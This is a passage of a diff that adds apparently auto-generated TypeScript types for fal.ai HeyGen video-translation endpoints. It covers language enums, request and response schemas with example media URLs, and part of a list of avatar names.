(Egypt)': 'Arabic (Egypt)', + 'Arabic (Iraq)': 'Arabic (Iraq)', + 'Arabic (Jordan)': 'Arabic (Jordan)', + 'Arabic (Kuwait)': 'Arabic (Kuwait)', + 'Arabic (Lebanon)': 'Arabic (Lebanon)', + 'Arabic (Libya)': 'Arabic (Libya)', + 'Arabic (Morocco)': 'Arabic (Morocco)', + 'Arabic (Oman)': 'Arabic (Oman)', + 'Arabic (Qatar)': 'Arabic (Qatar)', + 'Arabic (Saudi Arabia)': 'Arabic (Saudi Arabia)', + 'Arabic (Syria)': 'Arabic (Syria)', + 'Arabic (Tunisia)': 'Arabic (Tunisia)', + 'Arabic (United Arab Emirates)': 'Arabic (United Arab Emirates)', + 'Arabic (Yemen)': 'Arabic (Yemen)', + 'Armenian (Armenia)': 'Armenian (Armenia)', + 'Azerbaijani (Latin, Azerbaijan)': 'Azerbaijani (Latin, Azerbaijan)', + 'Bangla (Bangladesh)': 'Bangla (Bangladesh)', + Basque: 'Basque', + 'Bengali (India)': 'Bengali (India)', + 'Bosnian (Bosnia and Herzegovina)': 'Bosnian (Bosnia and Herzegovina)', + 'Bulgarian (Bulgaria)': 'Bulgarian (Bulgaria)', + 'Burmese (Myanmar)': 'Burmese (Myanmar)', + Catalan: 'Catalan', + 'Chinese (Cantonese, Traditional)': 'Chinese (Cantonese, Traditional)', + 'Chinese (Jilu Mandarin, Simplified)': 'Chinese (Jilu Mandarin, Simplified)', + 'Chinese (Mandarin, Simplified)': 'Chinese (Mandarin, Simplified)', + 'Chinese (Northeastern Mandarin, Simplified)': + 'Chinese (Northeastern Mandarin, Simplified)', + 'Chinese (Southwestern Mandarin, Simplified)': + 'Chinese (Southwestern Mandarin, Simplified)', + 'Chinese (Taiwanese Mandarin, Traditional)': + 'Chinese (Taiwanese Mandarin, Traditional)', + 'Chinese (Wu, Simplified)': 'Chinese (Wu, Simplified)', + 'Chinese (Zhongyuan Mandarin Henan, Simplified)': + 'Chinese (Zhongyuan Mandarin Henan, Simplified)', + 'Chinese (Zhongyuan Mandarin Shaanxi, Simplified)': + 'Chinese (Zhongyuan Mandarin Shaanxi, Simplified)', + 'Croatian (Croatia)': 'Croatian (Croatia)', + 'Czech (Czechia)': 'Czech (Czechia)', + 'Danish (Denmark)': 'Danish (Denmark)', + 'Dutch (Belgium)': 'Dutch (Belgium)', + 'Dutch (Netherlands)': 'Dutch (Netherlands)', + 'English (Australia)': 'English (Australia)', + 'English (Canada)': 'English (Canada)', + 'English (Hong Kong SAR)': 'English (Hong Kong SAR)', + 'English (India)': 'English (India)', + 'English (Ireland)': 'English (Ireland)', + 'English (Kenya)': 'English (Kenya)', + 'English (New Zealand)': 'English (New Zealand)', + 'English (Nigeria)': 'English (Nigeria)', + 'English (Philippines)': 'English (Philippines)', + 'English (Singapore)': 'English (Singapore)', + 'English (South Africa)': 'English (South Africa)', + 'English (Tanzania)': 'English (Tanzania)', + 'English (UK)': 'English (UK)', + 'English (United States)': 'English (United States)', + 'Estonian (Estonia)': 'Estonian (Estonia)', + 'Filipino (Philippines)': 'Filipino (Philippines)', + 'Finnish (Finland)': 'Finnish (Finland)', + 'French (Belgium)': 'French (Belgium)', + 'French (Canada)': 'French (Canada)', + 'French (France)': 'French (France)', + 'French (Switzerland)': 'French (Switzerland)', + Galician: 'Galician', + 'Georgian (Georgia)': 'Georgian (Georgia)', + 'German (Austria)': 'German (Austria)', + 'German (Germany)': 'German (Germany)', + 'German (Switzerland)': 'German (Switzerland)', + 'Greek (Greece)': 'Greek (Greece)', + 'Gujarati (India)': 'Gujarati (India)', + 'Hebrew (Israel)': 'Hebrew (Israel)', + 'Hindi (India)': 'Hindi (India)', + 'Hungarian (Hungary)': 'Hungarian (Hungary)', + 'Icelandic (Iceland)': 'Icelandic (Iceland)', + 'Indonesian (Indonesia)': 'Indonesian (Indonesia)', + 'Irish (Ireland)': 'Irish (Ireland)', + 'Italian (Italy)': 'Italian (Italy)', + 'Japanese (Japan)': 'Japanese (Japan)', + 'Javanese (Latin, Indonesia)': 'Javanese (Latin, Indonesia)', + 'Kannada (India)': 'Kannada (India)', + 'Kazakh (Kazakhstan)': 'Kazakh (Kazakhstan)', + 'Khmer (Cambodia)': 'Khmer (Cambodia)', + 'Korean (Korea)': 'Korean (Korea)', + 'Lao (Laos)': 'Lao (Laos)', + 'Latvian (Latvia)': 'Latvian (Latvia)', + 'Lithuanian (Lithuania)': 'Lithuanian (Lithuania)', + 'Macedonian (North Macedonia)': 'Macedonian (North Macedonia)', + 'Malay (Malaysia)': 'Malay (Malaysia)', + 'Malayalam (India)': 'Malayalam (India)', + 'Maltese (Malta)': 'Maltese (Malta)', + 'Marathi (India)': 'Marathi (India)', + 'Mongolian (Mongolia)': 'Mongolian (Mongolia)', + 'Nepali (Nepal)': 'Nepali (Nepal)', + 'Norwegian Bokmål (Norway)': 'Norwegian Bokmål (Norway)', + 'Pashto (Afghanistan)': 'Pashto (Afghanistan)', + 'Persian (Iran)': 'Persian (Iran)', + 'Polish (Poland)': 'Polish (Poland)', + 'Portuguese (Brazil)': 'Portuguese (Brazil)', + 'Portuguese (Portugal)': 'Portuguese (Portugal)', + 'Romanian (Romania)': 'Romanian (Romania)', + 'Russian (Russia)': 'Russian (Russia)', + 'Serbian (Latin, Serbia)': 'Serbian (Latin, Serbia)', + 'Sinhala (Sri Lanka)': 'Sinhala (Sri Lanka)', + 'Slovak (Slovakia)': 'Slovak (Slovakia)', + 'Slovenian (Slovenia)': 'Slovenian (Slovenia)', + 'Somali (Somalia)': 'Somali (Somalia)', + 'Spanish (Argentina)': 'Spanish (Argentina)', + 'Spanish (Bolivia)': 'Spanish (Bolivia)', + 'Spanish (Chile)': 'Spanish (Chile)', + 'Spanish (Colombia)': 'Spanish (Colombia)', + 'Spanish (Costa Rica)': 'Spanish (Costa Rica)', + 'Spanish (Cuba)': 'Spanish (Cuba)', + 'Spanish (Dominican Republic)': 'Spanish (Dominican Republic)', + 'Spanish (Ecuador)': 'Spanish (Ecuador)', + 'Spanish (El Salvador)': 'Spanish (El Salvador)', + 'Spanish (Equatorial Guinea)': 'Spanish (Equatorial Guinea)', + 'Spanish (Guatemala)': 'Spanish (Guatemala)', + 'Spanish (Honduras)': 'Spanish (Honduras)', + 'Spanish (Mexico)': 'Spanish (Mexico)', + 'Spanish (Nicaragua)': 'Spanish (Nicaragua)', + 'Spanish (Panama)': 'Spanish (Panama)', + 'Spanish (Paraguay)': 'Spanish (Paraguay)', + 'Spanish (Peru)': 'Spanish (Peru)', + 'Spanish (Puerto Rico)': 'Spanish (Puerto Rico)', + 'Spanish (Spain)': 'Spanish (Spain)', + 'Spanish (United States)': 'Spanish (United States)', + 'Spanish (Uruguay)': 'Spanish (Uruguay)', + 'Spanish (Venezuela)': 'Spanish (Venezuela)', + 'Sundanese (Indonesia)': 'Sundanese (Indonesia)', + 'Swahili (Kenya)': 'Swahili (Kenya)', + 'Swahili (Tanzania)': 'Swahili (Tanzania)', + 'Swedish (Sweden)': 'Swedish (Sweden)', + 'Tamil (India)': 'Tamil (India)', + 'Tamil (Malaysia)': 'Tamil (Malaysia)', + 'Tamil (Singapore)': 'Tamil (Singapore)', + 'Tamil (Sri Lanka)': 'Tamil (Sri Lanka)', + 'Telugu (India)': 'Telugu (India)', + 'Thai (Thailand)': 'Thai (Thailand)', + 'Turkish (Türkiye)': 'Turkish (Türkiye)', + 'Ukrainian (Ukraine)': 'Ukrainian (Ukraine)', + 'Urdu (India)': 'Urdu (India)', + 'Urdu (Pakistan)': 'Urdu (Pakistan)', + 'Uzbek (Latin, Uzbekistan)': 'Uzbek (Latin, Uzbekistan)', + 'Vietnamese (Vietnam)': 'Vietnamese (Vietnam)', + 'Welsh (United Kingdom)': 'Welsh (United Kingdom)', + 'Zulu (South Africa)': 'Zulu (South Africa)', + 'English - Your Accent': 'English - Your Accent', + 'English - American Accent': 'English - American Accent', +} as const + +export type InputFalAiHeygenV2TranslatePrecisionOutputLanguageEnumKey = + (typeof inputFalAiHeygenV2TranslatePrecisionOutputLanguageEnum)[keyof typeof inputFalAiHeygenV2TranslatePrecisionOutputLanguageEnum] + +export const inputFalAiHeygenV2TranslatePrecisionSrtRole = { + input: 'input', + output: 'output', +} as const + +export type InputFalAiHeygenV2TranslatePrecisionSrtRoleKey = + (typeof inputFalAiHeygenV2TranslatePrecisionSrtRole)[keyof typeof inputFalAiHeygenV2TranslatePrecisionSrtRole] + +/** + * @description Base request for video translation without a mode field (mode is determined by the endpoint). + * @type object + */ +export type InputFalAiHeygenV2TranslatePrecision = { + /** + * @description URL of the video to translate. Maximum length is 8 minutes. + * @example https://v3b.fal.media/files/b/0a9004c7/FM7Q5tK2b59x66Bl8HC0Z_vt-lang-en.mp4 + * @type string + */ + video_url: string + /** + * @description Number of speakers in the video + */ + speaker_num?: number | null + /** + * @description Generate an SRT caption file alongside the translated video. + * @default false + * @type boolean | undefined + */ + enable_caption?: boolean + /** + * @description The target language to translate the video into + * @example Spanish + * @type string + */ + output_language: InputFalAiHeygenV2TranslatePrecisionOutputLanguageEnumKey + /** + * @description Translate only the audio, ignore the faces and only translate the voice track + * @default false + */ + translate_audio_only?: boolean | null + /** + * @description Optional URL of a custom SRT subtitle file. + */ + srt_url?: string | null + /** + * @description Whether the custom SRT applies to the source or translated video. + */ + srt_role?: InputFalAiHeygenV2TranslatePrecisionSrtRoleKey | null + /** + * @description HeyGen brand glossary ID for custom term translations. + */ + brand_glossary_id?: string | null + /** + * @description Enable dynamic duration to enhance conversational fluidity between languages with different speaking rates + * @default true + */ + enable_dynamic_duration?: boolean | null +} + +export type File3Cf4B451 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenV2TranslatePrecision = { + /** + * @description The translated video file + * @example {"url":"https://v3b.fal.media/files/b/0a900522/WZRPanS88KdyIhYfqP_Md_output.mp4"} + * @type object + */ + video: File3Cf4B451 + /** + * @description Generated SRT captions when enable_caption is true. + */ + caption_file?: File3Cf4B451 | null +} + +export const inputFalAiHeygenV2TranslateSpeedOutputLanguageEnum = { + English: 'English', + Spanish: 'Spanish', + French: 'French', + Hindi: 'Hindi', + Italian: 'Italian', + German: 'German', + Polish: 'Polish', + Portuguese: 'Portuguese', + Chinese: 'Chinese', + Japanese: 'Japanese', + Dutch: 'Dutch', + Turkish: 'Turkish', + Korean: 'Korean', + Danish: 'Danish', + Arabic: 'Arabic', + Romanian: 'Romanian', + Mandarin: 'Mandarin', + Filipino: 'Filipino', + Swedish: 'Swedish', + Indonesian: 'Indonesian', + Ukrainian: 'Ukrainian', + Greek: 'Greek', + Czech: 'Czech', + Bulgarian: 'Bulgarian', + Malay: 'Malay', + Slovak: 'Slovak', + Croatian: 'Croatian', + Tamil: 'Tamil', + Finnish: 'Finnish', + Russian: 'Russian', + 'Afrikaans (South Africa)': 'Afrikaans (South Africa)', + 'Albanian (Albania)': 'Albanian (Albania)', + 'Amharic (Ethiopia)': 'Amharic (Ethiopia)', + 'Arabic (Algeria)': 'Arabic (Algeria)', + 'Arabic (Bahrain)': 'Arabic (Bahrain)', + 'Arabic (Egypt)': 'Arabic (Egypt)', + 'Arabic (Iraq)': 'Arabic (Iraq)', + 'Arabic (Jordan)': 'Arabic (Jordan)', + 'Arabic (Kuwait)': 'Arabic (Kuwait)', + 'Arabic (Lebanon)': 'Arabic (Lebanon)', + 'Arabic (Libya)': 'Arabic (Libya)', + 'Arabic (Morocco)': 'Arabic (Morocco)', + 'Arabic (Oman)': 'Arabic (Oman)', + 'Arabic (Qatar)': 'Arabic (Qatar)', + 'Arabic (Saudi Arabia)': 'Arabic (Saudi Arabia)', + 'Arabic (Syria)': 'Arabic (Syria)', + 'Arabic (Tunisia)': 'Arabic (Tunisia)', + 'Arabic (United Arab Emirates)': 'Arabic (United Arab Emirates)', + 'Arabic (Yemen)': 'Arabic (Yemen)', + 'Armenian (Armenia)': 'Armenian (Armenia)', + 'Azerbaijani (Latin, Azerbaijan)': 'Azerbaijani (Latin, Azerbaijan)', + 'Bangla (Bangladesh)': 'Bangla (Bangladesh)', + Basque: 'Basque', + 'Bengali (India)': 'Bengali (India)', + 'Bosnian (Bosnia and Herzegovina)': 'Bosnian (Bosnia and Herzegovina)', + 'Bulgarian (Bulgaria)': 'Bulgarian (Bulgaria)', + 'Burmese (Myanmar)': 'Burmese (Myanmar)', + Catalan: 'Catalan', + 'Chinese (Cantonese, Traditional)': 'Chinese (Cantonese, Traditional)', + 'Chinese (Jilu Mandarin, Simplified)': 'Chinese (Jilu Mandarin, Simplified)', + 'Chinese (Mandarin, Simplified)': 'Chinese (Mandarin, Simplified)', + 'Chinese (Northeastern Mandarin, Simplified)': + 'Chinese (Northeastern Mandarin, Simplified)', + 'Chinese (Southwestern Mandarin, Simplified)': + 'Chinese (Southwestern Mandarin, Simplified)', + 'Chinese (Taiwanese Mandarin, Traditional)': + 'Chinese (Taiwanese Mandarin, Traditional)', + 'Chinese (Wu, Simplified)': 'Chinese (Wu, Simplified)', + 'Chinese (Zhongyuan Mandarin Henan, Simplified)': + 'Chinese (Zhongyuan Mandarin Henan, Simplified)', + 'Chinese (Zhongyuan Mandarin Shaanxi, Simplified)': + 'Chinese (Zhongyuan Mandarin Shaanxi, Simplified)', + 'Croatian (Croatia)': 'Croatian (Croatia)', + 'Czech (Czechia)': 'Czech (Czechia)', + 'Danish (Denmark)': 'Danish (Denmark)', + 'Dutch (Belgium)': 'Dutch (Belgium)', + 'Dutch (Netherlands)': 'Dutch (Netherlands)', + 'English (Australia)': 'English (Australia)', + 'English (Canada)': 'English (Canada)', + 'English (Hong Kong SAR)': 'English (Hong Kong SAR)', + 'English (India)': 'English (India)', + 'English (Ireland)': 'English (Ireland)', + 'English (Kenya)': 'English (Kenya)', + 'English (New Zealand)': 'English (New Zealand)', + 'English (Nigeria)': 'English (Nigeria)', + 'English (Philippines)': 'English (Philippines)', + 'English (Singapore)': 'English (Singapore)', + 'English (South Africa)': 'English (South Africa)', + 'English (Tanzania)': 'English (Tanzania)', + 'English (UK)': 'English (UK)', + 'English (United States)': 'English (United States)', + 'Estonian (Estonia)': 'Estonian (Estonia)', + 'Filipino (Philippines)': 'Filipino (Philippines)', + 'Finnish (Finland)': 'Finnish (Finland)', + 'French (Belgium)': 'French (Belgium)', + 'French (Canada)': 'French (Canada)', + 'French (France)': 'French (France)', + 'French (Switzerland)': 'French (Switzerland)', + Galician: 'Galician', + 'Georgian (Georgia)': 'Georgian (Georgia)', + 'German (Austria)': 'German (Austria)', + 'German (Germany)': 'German (Germany)', + 'German (Switzerland)': 'German (Switzerland)', + 'Greek (Greece)': 'Greek (Greece)', + 'Gujarati (India)': 'Gujarati (India)', + 'Hebrew (Israel)': 'Hebrew (Israel)', + 'Hindi (India)': 'Hindi (India)', + 'Hungarian (Hungary)': 'Hungarian (Hungary)', + 'Icelandic (Iceland)': 'Icelandic (Iceland)', + 'Indonesian (Indonesia)': 'Indonesian (Indonesia)', + 'Irish (Ireland)': 'Irish (Ireland)', + 'Italian (Italy)': 'Italian (Italy)', + 'Japanese (Japan)': 'Japanese (Japan)', + 'Javanese (Latin, Indonesia)': 'Javanese (Latin, Indonesia)', + 'Kannada (India)': 'Kannada (India)', + 'Kazakh (Kazakhstan)': 'Kazakh (Kazakhstan)', + 'Khmer (Cambodia)': 'Khmer (Cambodia)', + 'Korean (Korea)': 'Korean (Korea)', + 'Lao (Laos)': 'Lao (Laos)', + 'Latvian (Latvia)': 'Latvian (Latvia)', + 'Lithuanian (Lithuania)': 'Lithuanian (Lithuania)', + 'Macedonian (North Macedonia)': 'Macedonian (North Macedonia)', + 'Malay (Malaysia)': 'Malay (Malaysia)', + 'Malayalam (India)': 'Malayalam (India)', + 'Maltese (Malta)': 'Maltese (Malta)', + 'Marathi (India)': 'Marathi (India)', + 'Mongolian (Mongolia)': 'Mongolian (Mongolia)', + 'Nepali (Nepal)': 'Nepali (Nepal)', + 'Norwegian Bokmål (Norway)': 'Norwegian Bokmål (Norway)', + 'Pashto (Afghanistan)': 'Pashto (Afghanistan)', + 'Persian (Iran)': 'Persian (Iran)', + 'Polish (Poland)': 'Polish (Poland)', + 'Portuguese (Brazil)': 'Portuguese (Brazil)', + 'Portuguese (Portugal)': 'Portuguese (Portugal)', + 'Romanian (Romania)': 'Romanian (Romania)', + 'Russian (Russia)': 'Russian (Russia)', + 'Serbian (Latin, Serbia)': 'Serbian (Latin, Serbia)', + 'Sinhala (Sri Lanka)': 'Sinhala (Sri Lanka)', + 'Slovak (Slovakia)': 'Slovak (Slovakia)', + 'Slovenian (Slovenia)': 'Slovenian (Slovenia)', + 'Somali (Somalia)': 'Somali (Somalia)', + 'Spanish (Argentina)': 'Spanish (Argentina)', + 'Spanish (Bolivia)': 'Spanish (Bolivia)', + 'Spanish (Chile)': 'Spanish (Chile)', + 'Spanish (Colombia)': 'Spanish (Colombia)', + 'Spanish (Costa Rica)': 'Spanish (Costa Rica)', + 'Spanish (Cuba)': 'Spanish (Cuba)', + 'Spanish (Dominican Republic)': 'Spanish (Dominican Republic)', + 'Spanish (Ecuador)': 'Spanish (Ecuador)', + 'Spanish (El Salvador)': 'Spanish (El Salvador)', + 'Spanish (Equatorial Guinea)': 'Spanish (Equatorial Guinea)', + 'Spanish (Guatemala)': 'Spanish (Guatemala)', + 'Spanish (Honduras)': 'Spanish (Honduras)', + 'Spanish (Mexico)': 'Spanish (Mexico)', + 'Spanish (Nicaragua)': 'Spanish (Nicaragua)', + 'Spanish (Panama)': 'Spanish (Panama)', + 'Spanish (Paraguay)': 'Spanish (Paraguay)', + 'Spanish (Peru)': 'Spanish (Peru)', + 'Spanish (Puerto Rico)': 'Spanish (Puerto Rico)', + 'Spanish (Spain)': 'Spanish (Spain)', + 'Spanish (United States)': 'Spanish (United States)', + 'Spanish (Uruguay)': 'Spanish (Uruguay)', + 'Spanish (Venezuela)': 'Spanish (Venezuela)', + 'Sundanese (Indonesia)': 'Sundanese (Indonesia)', + 'Swahili (Kenya)': 'Swahili (Kenya)', + 'Swahili (Tanzania)': 'Swahili (Tanzania)', + 'Swedish (Sweden)': 'Swedish (Sweden)', + 'Tamil (India)': 'Tamil (India)', + 'Tamil (Malaysia)': 'Tamil (Malaysia)', + 'Tamil (Singapore)': 'Tamil (Singapore)', + 'Tamil (Sri Lanka)': 'Tamil (Sri Lanka)', + 'Telugu (India)': 'Telugu (India)', + 'Thai (Thailand)': 'Thai (Thailand)', + 'Turkish (Türkiye)': 'Turkish (Türkiye)', + 'Ukrainian (Ukraine)': 'Ukrainian (Ukraine)', + 'Urdu (India)': 'Urdu (India)', + 'Urdu (Pakistan)': 'Urdu (Pakistan)', + 'Uzbek (Latin, Uzbekistan)': 'Uzbek (Latin, Uzbekistan)', + 'Vietnamese (Vietnam)': 'Vietnamese (Vietnam)', + 'Welsh (United Kingdom)': 'Welsh (United Kingdom)', + 'Zulu (South Africa)': 'Zulu (South Africa)', + 'English - Your Accent': 'English - Your Accent', + 'English - American Accent': 'English - American Accent', +} as const + +export type InputFalAiHeygenV2TranslateSpeedOutputLanguageEnumKey = + (typeof inputFalAiHeygenV2TranslateSpeedOutputLanguageEnum)[keyof typeof inputFalAiHeygenV2TranslateSpeedOutputLanguageEnum] + +export const inputFalAiHeygenV2TranslateSpeedSrtRole = { + input: 'input', + output: 'output', +} as const + +export type InputFalAiHeygenV2TranslateSpeedSrtRoleKey = + (typeof inputFalAiHeygenV2TranslateSpeedSrtRole)[keyof typeof inputFalAiHeygenV2TranslateSpeedSrtRole] + +/** + * @description Base request for video translation without a mode field (mode is determined by the endpoint). + * @type object + */ +export type InputFalAiHeygenV2TranslateSpeed = { + /** + * @description URL of the video to translate. Maximum length is 8 minutes. + * @example https://v3b.fal.media/files/b/0a9004c7/FM7Q5tK2b59x66Bl8HC0Z_vt-lang-en.mp4 + * @type string + */ + video_url: string + /** + * @description Number of speakers in the video + */ + speaker_num?: number | null + /** + * @description Generate an SRT caption file alongside the translated video. + * @default false + * @type boolean | undefined + */ + enable_caption?: boolean + /** + * @description The target language to translate the video into + * @example Spanish + * @type string + */ + output_language: InputFalAiHeygenV2TranslateSpeedOutputLanguageEnumKey + /** + * @description Translate only the audio, ignore the faces and only translate the voice track + * @default false + */ + translate_audio_only?: boolean | null + /** + * @description Optional URL of a custom SRT subtitle file. + */ + srt_url?: string | null + /** + * @description Whether the custom SRT applies to the source or translated video. + */ + srt_role?: InputFalAiHeygenV2TranslateSpeedSrtRoleKey | null + /** + * @description HeyGen brand glossary ID for custom term translations. + */ + brand_glossary_id?: string | null + /** + * @description Enable dynamic duration to enhance conversational fluidity between languages with different speaking rates + * @default true + */ + enable_dynamic_duration?: boolean | null +} + +export type File239Fbb9E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiHeygenV2TranslateSpeed = { + /** + * @description The translated video file + * @example {"url":"https://v3b.fal.media/files/b/0a900522/WZRPanS88KdyIhYfqP_Md_output.mp4"} + * @type object + */ + video: File239Fbb9E + /** + * @description Generated SRT captions when enable_caption is true. + */ + caption_file?: File239Fbb9E | null +} + +export const videoAgentConfigOrientationEnum = { + portrait: 'portrait', + landscape: 'landscape', +} as const + +export type VideoAgentConfigOrientationEnumKey = + (typeof videoAgentConfigOrientationEnum)[keyof typeof videoAgentConfigOrientationEnum] + +export const videoAgentConfigAvatarEnum = { + 'Abigail (Upper Body)': 'Abigail (Upper Body)', + 'Abigail Office Front': 'Abigail Office Front', + 'Abigail Office Side': 'Abigail Office Side', + 'Abigail Sofa Front': 'Abigail Sofa Front', + 'Abigail Sofa Side': 'Abigail Sofa Side', + 'Aditya in Brown blazer': 'Aditya in Brown blazer', + 'Aditya in Blue blazer': 'Aditya in Blue blazer', + 'Aditya in Blue shirt': 'Aditya in Blue shirt', + 'Aditya in Blue t-shirt': 'Aditya in Blue t-shirt', + 'Aditya in Beige blazer': 'Aditya in Beige blazer', + 'Adrian in Blue Shirt': 'Adrian in Blue Shirt', + 'Adrian in Blue Suit': 'Adrian in Blue Suit', + 'Adrian in Blue Sweater': 'Adrian in Blue Sweater', + 'Adriana BizTalk Front': 'Adriana BizTalk Front', + 'Adriana BizTalk Side': 'Adriana BizTalk Side', + 'Adriana Business Front 2': 'Adriana Business Front 2', + 'Adriana Business Front ': 'Adriana Business Front ', + 'Adriana Business Side': 'Adriana Business Side', + 'Adriana Nurse Front 2': 'Adriana Nurse Front 2', + 'Adriana Nurse Front': 'Adriana Nurse Front', + 'Adriana Nurse Side 2': 'Adriana Nurse Side 2', + 'Adriana Nurse Side': 'Adriana Nurse Side', + 'Adriana Nurse Sitting Side': 'Adriana Nurse Sitting Side', + 'Adriana SuitSofa Front': 'Adriana SuitSofa Front', + Aiko: 'Aiko', + 'Albert in Blue Polo shirt': 'Albert in Blue Polo shirt', + 'Albert in Blue blazer': 'Albert in Blue blazer', + 'Albert in Blue shirt': 'Albert in Blue shirt', + 'Albert in Blue suit': 'Albert in Blue suit', + 'Albert in Khaki blazer': 'Albert in Khaki blazer', + 'Albert in White shirt': 'Albert in White shirt', + 'Amanda in Blue Shirt (Front)': 'Amanda in Blue Shirt (Front)', + 'Amanda in Blue Shirt (Left)': 'Amanda in Blue Shirt (Left)', + 'Amanda in Blue Shirt (Right)': 'Amanda in Blue Shirt (Right)', + 'Amanda in Grey Shirt (Front)': 'Amanda in Grey Shirt (Front)', + 'Amanda in Grey Shirt (Left)': 'Amanda in Grey Shirt (Left)', + 'Amanda in Grey Shirt (Right)': 'Amanda in Grey Shirt (Right)', + 'Amanda in Maintenance (Front)': 'Amanda in Maintenance (Front)', + 'Amanda in Maintenance (Left)': 'Amanda in Maintenance (Left)', + 'Amanda in Maintenance (Right)': 'Amanda in Maintenance (Right)', + 'Amelia Business Training Front 2': 'Amelia Business Training Front 2', + 'Amelia Business Training Front': 'Amelia Business Training Front', + 'Amelia Business Training Side 2': 'Amelia Business Training Side 2', + 'Amelia Business Training Side': 'Amelia Business Training Side', + 'Amelia Lounge Front 2': 'Amelia Lounge Front 2', + 'Amelia Lounge Front': 'Amelia Lounge Front', + 'Amelia Lounge Side 2': 'Amelia Lounge Side 2', + 'Amelia Lounge Side': 'Amelia Lounge Side', + 'Amelia Yoga Front 2': 'Amelia Yoga Front 2', + 'Amelia Yoga Front': 'Amelia Yoga Front', + 'Amelia Yoga Side 2': 'Amelia Yoga Side 2', + 'Amelia Yoga Side': 'Amelia Yoga Side', + 'Alex in Black Suit': 'Alex in Black Suit', + 'Alex in Jacket': 'Alex in Jacket', + 'Alex in White Coat': 'Alex in White Coat', + 'Alex in Yellow Sweater': 'Alex in Yellow Sweater', + 'Anja Office Front': 'Anja Office Front', + 'Anja Office Side ': 'Anja Office Side ', + 'Anja Sofa Front': 'Anja Sofa Front', + 'Anja Sofa Side ': 'Anja Sofa Side ', + 'Ann Business Front': 'Ann Business Front', + 'Ann Business Sitting': 'Ann Business Sitting', + 'Ann Casual Front': 'Ann Casual Front', + 'Ann Casual Lying': 'Ann Casual Lying', + 'Ann Casual Sitting 2': 'Ann Casual Sitting 2', + 'Ann Casual Sitting': 'Ann Casual Sitting', + 'Ann Doctor Sitting': 'Ann Doctor Sitting', + 'Ann Doctor Standing': 'Ann Doctor Standing', + 'Ann Sweater Front': 'Ann Sweater Front', + 'Ann Sweater Side': 'Ann Sweater Side', + 'Ann Therapist': 'Ann Therapist', + 'Anna in White T-shirt': 'Anna in White T-shirt', + 'Anna in Turtleneck T-shirt': 'Anna in Turtleneck T-shirt', + 'Anna in Brown T-shirt': 'Anna in Brown T-shirt', + 'Annelise in Dark blue dress': 'Annelise in Dark blue dress', + 'Annelise in Off white dress': 'Annelise in Off white dress', + 'Annelise in Sky blue dress': 'Annelise in Sky blue dress', + 'Annelise in White dress': 'Annelise in White dress', + 'Annelore in Blue blazer': 'Annelore in Blue blazer', + 'Annelore in Blue dress': 'Annelore in Blue dress', + 'Annelore in Red blazer': 'Annelore in Red blazer', + 'Annelore in Red sweater': 'Annelore in Red sweater', + 'Annelore in White shirt': 'Annelore in White shirt', + 'Annie in Grey Jacket': 'Annie in Grey Jacket', + 'Annie in White Shirt': 'Annie in White Shirt', + 'Annie in Tan Jacket': 'Annie in Tan Jacket', + 'Annie in Blue Casual': 'Annie in Blue Casual', + 'Annie in Light Blue': 'Annie in Light Blue', + 'Annie in Brown Shirt': 'Annie in Brown Shirt', + 'Annie in Black Shirt': 'Annie in Black Shirt', + 'Annie in Pink Suit': 'Annie in Pink Suit', + 'Annie in Grey Dress': 'Annie in Grey Dress', + 'Annie in Blue Vest': 'Annie in Blue Vest', + 'Annie in Black V-neck Shirt': 'Annie in Black V-neck Shirt', + 'Annie in Blue Suit': 'Annie in Blue Suit', + 'Annie Bar Sitting Front': 'Annie Bar Sitting Front', + 'Annie Bar Sitting Side': 'Annie Bar Sitting Side', + 'Annie Bar Standing Front 2': 'Annie Bar Standing Front 2', + 'Annie Bar Standing Front 3': 'Annie Bar Standing Front 3', + 'Annie Bar Standing Front': 'Annie Bar Standing Front', + 'Annie Bar Standing Side 2': 'Annie Bar Standing Side 2', + 'Annie Bar Standing Side 3': 'Annie Bar Standing Side 3', + 'Annie Bar Standing Side': 'Annie Bar Standing Side', + 'Annie Business Casual Standing Front 2': + 'Annie Business Casual Standing Front 2', + 'Annie Business Casual Standing Front': + 'Annie Business Casual Standing Front', + 'Annie Business Casual Standing Side 2': + 'Annie Business Casual Standing Side 2', + 'Annie Business Casual Standing Side': 'Annie Business Casual Standing Side', + 'Annie Casual Sitting Front 2': 'Annie Casual Sitting Front 2', + 'Annie Casual Sitting Front': 'Annie Casual Sitting Front', + 'Annie Casual Sitting Side 2': 'Annie Casual Sitting Side 2', + 'Annie Casual Sitting Side': 'Annie Casual Sitting Side', + 'Annie Casual Standing Front 2': 'Annie Casual Standing Front 2', + 'Annie Casual Standing Front': 'Annie Casual Standing Front', + 'Annie Casual Standing Side 2': 'Annie Casual Standing Side 2', + 'Annie Casual Standing Side': 'Annie Casual Standing Side', + 'Annie Desk Sitting Front 2': 'Annie Desk Sitting Front 2', + 'Annie Desk Sitting Front': 'Annie Desk Sitting Front', + 'Annie Desk Sitting Side 2': 'Annie Desk Sitting Side 2', + 'Annie Desk Sitting Side': 'Annie Desk Sitting Side', + 'Annie Lounge Standing Front': 'Annie Lounge Standing Front', + 'Annie Lounge Standing Side': 'Annie Lounge Standing Side', + 'Annie Office Sitting Front 2': 'Annie Office Sitting Front 2', + 'Annie Office Sitting Front': 'Annie Office Sitting Front', + 'Annie Office Sitting Side 2': 'Annie Office Sitting Side 2', + 'Annie Office Sitting Side': 'Annie Office Sitting Side', + 'Annie Office Standing Front': 'Annie Office Standing Front', + 'Annie Office Standing Side': 'Annie Office Standing Side', + 'Annie Sofa Sitting Front 3': 'Annie Sofa Sitting Front 3', + 'Annie Sofa Sitting Front': 'Annie Sofa Sitting Front', + 'Annie Sofa Sitting Side 2': 'Annie Sofa Sitting Side 2', + 'Annie Sofa Sitting Side 3': 'Annie Sofa Sitting Side 3', + 'Annie Sofa Sitting Side': 'Annie Sofa Sitting Side', + 'Annie Sofa Sitting Front 2': 'Annie Sofa Sitting Front 2', + 